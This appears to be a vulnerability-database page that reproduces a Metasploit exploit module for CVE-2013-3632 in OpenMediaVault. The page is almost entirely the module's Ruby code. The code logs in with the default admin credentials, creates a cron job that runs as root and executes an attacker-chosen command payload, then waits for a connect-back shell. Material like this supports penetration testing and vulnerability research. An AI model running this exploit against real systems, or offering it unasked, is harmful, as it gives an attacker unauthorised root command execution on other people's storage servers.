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OpenMediaVault Cron Remote Command Execution

🗓️ 30 Oct 2013 15:25:48Reported by Brandon Perry <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 52 Views

OpenMediaVault Cron Remote Command Execution allows authenticated user to create cron jobs as arbitrary users, enabling an attacker to run arbitrary commands as any available user (including root)

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'OpenMediaVault Cron Remote Command Execution',
      'Description'    => %q{
      OpenMediaVault allows an authenticated user to create cron jobs as arbitrary users on the system.
      An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
        ],
      'References'     =>
        [
          ['CVE', '2013-3632'],
          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
        ],
      'Privileged' => true,
      'DefaultOptions' => { 'WfsDelay' => 60 },
      'Payload'        =>
      {
        'Compat'     =>
        {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic perl ruby telnet python',
        }
      },
      'Platform'       => ['unix', 'linux'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => '2013-10-30',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
      OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
    ])
  end

  def exploit
    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php')
    })

    sess = init.get_cookies
    post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
      'data' => post,
      'ctype' => 'application/json',
      'cookie' => sess
    })

    if !login or login.code != 200
      fail_with(Failure::NoAccess, "Login failed")
    end

    sess = login.get_cookies
    post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
    post << payload.encoded.gsub('"', '\"')
    post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'

    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
      'data' => post,
      'ctype' => 'application/json',
      'cookie' => sess
    })

    if !resp or resp.code != 200
      fail_with(Failure::UnexpectedReply, "Posting cron failed")
    end

    print_status("Waiting for connect-back, this will take up to a minute")
  end
end

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